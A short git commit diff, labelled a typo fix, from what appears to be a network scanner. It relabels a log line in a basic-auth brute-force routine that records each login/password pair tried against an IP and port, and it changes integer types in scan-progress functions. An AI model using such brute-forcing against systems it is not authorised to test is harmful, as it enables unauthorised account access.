Typo fix.

This commit is contained in:
cora32 2015-03-23 20:47:48 +03:00
parent 517484797c
commit 19e458126d
2 changed files with 4 additions and 4 deletions

View File

@ -54,7 +54,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
return lps; return lps;
}; };
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");

View File

@ -781,7 +781,7 @@ void _connect() {
} }
} }
inline void progressOutput(long long unsigned int target) { inline void progressOutput(unsigned long target) {
char targetNPers[128] = {0}; char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
@ -792,13 +792,13 @@ inline void progressOutput(long long unsigned int target) {
sprintf(metaPercent, "%.1f", sprintf(metaPercent, "%.1f",
percent); percent);
} }
void verboseProgress(long long unsigned int target, const char *ip) { void verboseProgress(unsigned long target, const char *ip) {
stt->doEmitionIPRANGE(QString(ip)); stt->doEmitionIPRANGE(QString(ip));
strcpy(currentIP, ip); strcpy(currentIP, ip);
progressOutput(target); progressOutput(target);
} }
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) { void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) {
stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, mask); strcpy(currentIP, mask);